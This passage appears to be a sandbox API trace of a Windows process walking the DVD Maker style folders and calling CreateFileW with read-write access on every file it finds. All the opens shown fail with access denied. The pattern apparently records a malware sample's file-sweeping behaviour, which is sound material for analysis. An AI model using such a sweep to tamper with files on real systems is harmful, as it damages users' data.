GetLastError () returned 0x5 [0190.986] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d38e22, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d38e22, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68980fb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb7835, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveNoise.png", cAlternateFileName="")) returned 1 [0190.986] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.986] GetLastError () returned 0x5 [0190.986] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdStyles", cAlternateFileName="DVDSTY~1")) returned 1 [0190.986] GetProcessHeap () returned 0x2ef0000 [0190.986] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x68) returned 0x2f123a0 [0190.986] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0190.988] GetProcessHeap () returned 0x2ef0000 [0190.989] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0190.989] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.989] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0190.989] GetProcessHeap () returned 0x2ef0000 [0190.989] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x26a) returned 0x2f11d10 [0190.989] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.990] GetLastError () returned 0x5 [0190.990] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0190.990] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.990] GetLastError () returned 0x5 [0190.990] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0190.990] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.991] GetLastError () returned 0x5 [0190.991] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0190.991] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.991] GetLastError () returned 0x5 [0190.991] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0190.991] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.991] GetLastError () returned 0x5 [0190.991] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8a80b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec8a80b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0190.991] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.992] GetLastError () returned 0x5 [0190.992] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoy", cAlternateFileName="")) returned 1 [0190.992] GetProcessHeap () returned 0x2ef0000 [0190.992] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x78) returned 0x2f09d00 [0190.992] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0190.994] GetProcessHeap () returned 0x2ef0000 [0190.994] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f09d00 | out: hHeap=0x2ef0000) returned 1 [0190.994] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.994] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x0, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0190.994] GetProcessHeap () returned 0x2ef0000 [0190.994] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x27a) returned 0x2f47728 [0190.994] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.994] GetLastError () returned 0x5 [0190.994] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d1f29a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d1f29a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5354a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground.wmv", cAlternateFileName="")) returned 1 [0190.994] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.995] GetLastError () returned 0x5 [0190.995] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d6b554, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d6b554, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0190.995] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.995] GetLastError () returned 0x5 [0190.995] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e03ac8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e03ac8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49d12255, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0190.995] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.996] GetLastError () returned 0x5 [0190.996] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e29c25, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e29c25, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2661e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0190.996] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.996] GetLastError () returned 0x5 [0190.996] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0190.996] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.997] GetLastError () returned 0x5 [0190.997] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0190.997] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.997] GetLastError () returned 0x5 [0190.997] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ec2199, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ec2199, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground.wmv", cAlternateFileName="")) returned 1 [0190.997] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.997] GetLastError () returned 0x5 [0190.997] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f345b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f345b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0190.997] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.998] GetLastError () returned 0x5 [0190.998] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5a70d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f5a70d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2472c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground.wmv", cAlternateFileName="")) returned 1 [0190.998] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.998] GetLastError () returned 0x5 [0190.999] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f8086a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f8086a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1e96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0190.999] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.999] GetLastError () returned 0x5 [0190.999] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fa69c7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fa69c7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightBlueRectangle.PNG", cAlternateFileName="")) returned 1 [0190.999] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.999] GetLastError () returned 0x5 [0190.999] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MainMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0190.999] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.999] GetLastError () returned 0x5 [0190.999] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7103ef3b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7103ef3b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf63, dwReserved0=0x0, dwReserved1=0x0, cFileName="navSubpicture.png", cAlternateFileName="")) returned 1 [0190.999] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.000] GetLastError () returned 0x5 [0191.000] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_leftarrow.png", cAlternateFileName="")) returned 1 [0191.000] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 